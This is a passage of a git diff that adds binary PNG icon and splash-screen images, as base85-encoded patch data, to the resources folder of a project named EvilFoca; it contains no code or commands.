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 X852N2Kh4&W00000NkvXXu0mjflEi75 literal 0 HcmV?d00001 diff --git a/EvilFoca/Resources/SearchStart.png b/EvilFoca/Resources/SearchStart.png new file mode 100644 index 0000000000000000000000000000000000000000..cfdf42b0024df93211e6c0d50eb6b2ed5ff5e40c GIT binary patch literal 1322 zcmV+_1=aeAP)EQ)Ia2q)aIyW_tBuTuh4=QjgxzQw{T#Z38VGwze9WrT7P^sd04!l7Cuj2rY zb0b0O3WE-KK}5o>cOfqFb_DtapuML9hns59+|h(!dS^oD2mhL zQyID4^`D{WaLKsjD6GT>3%)4A!KNzaqZ#v3Sx{-0i)A2h>1v$nI)k^q*{Ql^@3lf2 za4`Q=dxU~lD~i$C*M*!V8Svsgv?J&z`asYL_^@uji>|(5U`mLbs~y3Z@Y~q&NK1puJs&c8_Tn^DuKyTo64N2tgg=Q6p}M7>9pfURwIldY zY%(mi0rXifjyuL%^uklgnW!q*hsPIXjP!T*orC0*5OUr1+7T4>B9oE7``MV$P7{e< zr_xTDEITbkG}FN@^Lcm>k~eq;qTALx<`|3Jit_qTi3EL){z3Cde~4EQ41yjV#FCm> z@aX9i?3grbo~qJd#K_W@)$Kz{@hZGuQ?4RM$FgS#j-UNWI}6q{H^4k-!Rm!8ap2e? zIK{tMCTva}zW{Y`Se3Y(JxkxAnFY-@3wC^OLa2W*jLV*fWU*gbc*#Ad#ew_>@(>mf z$}CLZp=mBIC+Tg$%(+O3y_W?{;r=2Fzy_WK#BhqFDTZm|JyVr=iwni+CS%ivpdysoi8X|qCK{o)_BFK5xf)zNFZ(`&qf=DTr z9F>S*!5?I=pbhYEf5{TzZ)cz1+59UR+XyyX5Bag?`Ccy0l>MRAjNKy0%;qKJ0j*_dQjNZ z`FQkZ)edIO(dZ^YrQN=G!n;)k8@}9%%9BTsOC+lK_fxFEm@)*1N!GUhz}o-j`{30? zP;sgC+yZ6fM@`T}G03zMaVtqOH{~G8df6pNrt`tCv|c>(vQ@UYb=kdm(Rs6f$VQiH g=30(^b07*qoM6N<$g2IA&O#lD@ literal 0 HcmV?d00001 diff --git a/EvilFoca/Resources/SearchStop.png b/EvilFoca/Resources/SearchStop.png new file mode 100644 index 0000000000000000000000000000000000000000..1094c9e0fd210d570c1f77bc264d679482095a21 GIT binary patch literal 1208 zcmV;p1V{UcP)U^V>quwgk>-{${qX1M z(+&CKb4=O$%4;qjvaLm}ZnS&HX;o~@{PYp=5F%0^@QY1;Ql-eZmm-qseo*7}XISw{z zTq*%FU||9kbvRJCWeb*W*nlh|c6eX_-uw3v=Wqq8+-`k7v>LS$ zn++?E9m9`@55tz1H-%b>gu?$bNhm%WM)e?ZnO^IvVHp?lM?0O;iNw>Nz~AYui1r# z)&UfVOFXGqHSqy9hs8)X-!g!b&j%qZ3!E7*6crf@jFKlU1332NiSg^CAUs>MBhR15 zjUDOkjtTBAn!_waYPKxQWRMDLUcG`uVWM^YdgMt`LN5>5?fB){GuZR<(OFpuWo*ov zFvDKlfAJzj+O7)v9b&n6p0qejV}7D+A{H0Jd+Acb;7lKySb7_N`V=cDeO2AKfgw>u zh(O3wU|D0&tS?BMtEBk%!~Xs7)10>qpw*{37NC15@dw-6QMzjvetYo(rKe6oq4XCZ z0kNj6S%YQAk7LKnmsqiPuQ896VvA_}1bJUJal}ok+%hIm8Y?<@5X(=Vgx&4_yy_{V z^k29D*S2jl0a_;hw(Z;r?#-KdOQ_i#Od8ks&RvK3GlI*Vq`-w`lchY`S#|svxAt-Hi9@Rin+VdK{&t>2rD1 zclNB|%^0;44=p6Kr2Ka4 zO8_TDQH#z~MlA$5hG8NnM~hSO(5h8Uy2o>dk3>?s?V2d6Tv^$L(6LIxP!z`T|2c6LDL98% zkqmBbK7fdQ11BHA$z25Jf}?LCZVn=@E`pnbm}1h&HG;IEImg9F(KM~;oi3OA`|fwH zu)yj@(UFvPVk+C>em}^v9#8_T%*A1JCeAskU_2FG9#$AYn($T_c1`pJ2mmJdMw+H? zQ&)n<1_lQe1`v_8Y9Gh(>SQ#&ZVYg=GhHz-_M#{nnORw0oPHn* z0tSPbf3O*bJBZ!^o!JlgaczSIu)A@Q4AaX$0d?5SK1B3X#Mg1j1-nUx+4J|9^RcSz zCu#anKgJUHC!j3`kYzA{n&@p?44~rn+7<(7Vb%kGG_(A_7~l(ccaHLvtyh2m0000< KMNUMnLSTaU*O7(* literal 0 HcmV?d00001 diff --git a/EvilFoca/Resources/Splash.png b/EvilFoca/Resources/Splash.png new file mode 100644 index 0000000000000000000000000000000000000000..a8cb3fbe08a465f31ea79120300f8c414e62de87 GIT binary patch literal 91018 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 